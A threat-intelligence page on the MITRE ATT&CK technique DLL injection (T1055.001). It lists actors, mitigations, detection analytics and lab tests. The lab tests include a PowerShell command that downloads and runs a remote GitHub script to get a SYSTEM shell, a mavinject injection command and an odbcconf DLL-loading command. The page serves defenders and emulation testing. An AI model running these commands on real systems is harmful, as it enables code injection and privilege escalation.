Home/ATT&CK Technique/Dynamic-link Library Injection
ATT&CK Technique

Dynamic-link Library Injection

T1055.001 · stealth, privilege-escalation

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread.

The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary). Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process.

This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process. This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.

Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

Windows
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Actors Using This

14
north_koreaAndariel
chinaAPT10
chinaAPT1
chinaAPT31
iranAPT33
iranOilRig
iranAPT35
north_koreaAPT37
north_koreaAPT38
iranAPT39
chinaAPT40
china_state_sponsored_mandiant_canonical_microsoft_mulberry_typhoonAPT5 (UNC2630 / UNC2717 / Mulberry Typhoon)
iran_linked_dragos_tracked_ics_activity_group_cyberav3ngers_persona_2024_disclosedBAUXITE
russia_consistent_state_actor_per_mandiant_dragos_high_confidence_no_specific_nation_attributionCHERNOVITE (PIPEDREAM / INCONTROLLER)
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Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
reconnaissance earlier
T1589.002 · Email Addresses ×4.62T1589 · Gather Victim Identity Information ×4.25
resource-development earlier
T1584.006 · Web Services ×4.56
initial-access earlier
T0865 · Spearphishing Attachment ×5.06
persistence earlier
T1137.006 · Add-ins ×5.06T1205 · Traffic Signaling ×5.06T1556.001 · Domain Controller Authentication ×5.06
privilege-escalation same
T1546.001 · Change Default File Association ×5.06T1546.011 · Application Shimming ×5.06T1546.015 · Component Object Model Hijacking ×4.56
credential-access later
T1555.004 · Windows Credential Manager ×4.43
discovery later
T1087.003 · Email Account ×4.22
collection later
T0801 · Monitor Process State ×5.06
command-and-control later
T1008 · Fallback Channels ×4.22
other same
T1562.003 · Impair Command History Logging ×5.06
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Atomic Tests

2
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellelevatedwindowsProcess Injection via mavinject.exe
Windows 10 Utility To Inject DLLS. Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll. With default arguments, expect to see a MessageBox, with notepad's icon in taskbar. 
$mypid = #{process_id}
mavinject $mypid /INJECTRUNNING "#{dll_payload}"
Stop-Process -processname notepad
powershellwindowsWinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique
Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')
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Mitigations

1
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1040Behavior Prevention on Endpoint

Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack.

Suspicious Process Behavior
  • Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.
  • Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.
Unauthorized File Access
  • Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.
  • Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.
Abnormal API Calls
  • Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.
  • Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like OpenProcess and WriteProcessMemory and terminates the offending process.
Exploit Prevention
  • Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.
  • Use Case: A buffer overflow exploit is launched against a vulnerable application. The endpoint detects the anomalous memory write operation and halts the process.
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Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 6
Analytics (MITRE CAR) 2
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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CAR Analytics

2
MITRE Cyber Analytics Repository - field-tested detection logic for this technique, written as pseudocode/queries you adapt to your own SIEM (Splunk, Sentinel, EQL). Each is a ready starting point for a detection rule, not just a description.
CAR-2013-10-002Moderate coverageDLL Injection via Load Library

Microsoft Windows allows for processes to remotely create threads within other processes of the same privilege level. This functionality is provided via the Windows API CreateRemoteThread. Both Windows and third-party software use this ability for legitimate purposes.

For example, the Windows process csrss.exe creates threads in programs to send signals to registered callback routines. Both adversaries and host-based security software use this functionality to inject DLLs, but for very different purposes. An adversary is likely to inject into a program to evade defenses or bypass User Account Control, but a security program might do this to gain increased monitoring of API calls.

One of the most common methods of DLL Injection is through the Windows API LoadLibrary.

- Allocate memory in the target program with VirtualAllocEx
  • Write the name of the DLL to inject into this program with WriteProcessMemory.
  • Create a new thread and set its entry point to LoadLibrary using the API CreateRemoteThread. This behavior can be detected by looking for thread creations across processes, and resolving the entry point to determine the function name. If the function is LoadLibraryA or LoadLibraryW, then the intent of the remote thread is clearly to inject a DLL. When this is the case, the source process must be examined so that it can be ignored when it is both expected and a trusted process.
pseudocode
remote_thread = search Thread:RemoteCreate
remote_thread = filter (start_function == "LoadLibraryA" or start_function == "LoadLibraryW")
remote_thread = filter (src_image_path != "C:\Path\To\TrustedProgram.exe")

output remote_thread
LogPoint
norm_id=WindowsSysmon event_id=8 start_function IN ["LoadLibraryA", "LoadLibraryW"] -source_image="C:\Path\To\TrustedProgram.exe"
CAR-2020-11-003Low coverageDLL Injection with Mavinject

Injecting a malicious DLL into a process is a common adversary TTP. Although the ways of doing this are numerous, mavinject.exe is a commonly used tool for doing so because it roles up many of the necessary steps into one, and is available within Windows. Attackers may rename the executable, so we also use the common argument "INJECTRUNNING" as a related signature here.

Whitelisting certain applications may be necessary to reduce noise for this analytic.

Pseudocode - Pseudocode - mavinject process and its common argument
processes = search Process:Create
mavinject_processes = filter processes where (
  exe = "C:\\Windows\\SysWOW64\\mavinject.exe" OR Image="C:\\Windows\\System32\\mavinject.exe" OR command_line = "*/INJECTRUNNING*"
output mavinject_processes
Splunk - Splunk Search - mavinject
(index=__your_sysmon_index__ EventCode=1) (Image="C:\\Windows\\SysWOW64\\mavinject.exe" OR Image="C:\\Windows\\System32\\mavinject.exe" OR CommandLine="*\INJECTRUNNING*")
LogPoint - LogPoint Search - mavinject
norm_id=WindowsSysmon event_id=1 (image="C:\Windows\SysWOW64\mavinject.exe" OR image="C:\Windows\System32\mavinject.exe" OR command="*\INJECTRUNNING*")
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Caldera Emulation

1
MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.
defense-evasionwindowsSigned Binary Execution - odbcconf
odbcconf.exe /S /A {REGSVR "C:\Users\Public\sandcat.dll"}
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Comply & Defend

NIST 800-53AC-06, SC-07, SC-18, SI-02, SI-03, SI-04
D3FEND12 defensive techniques
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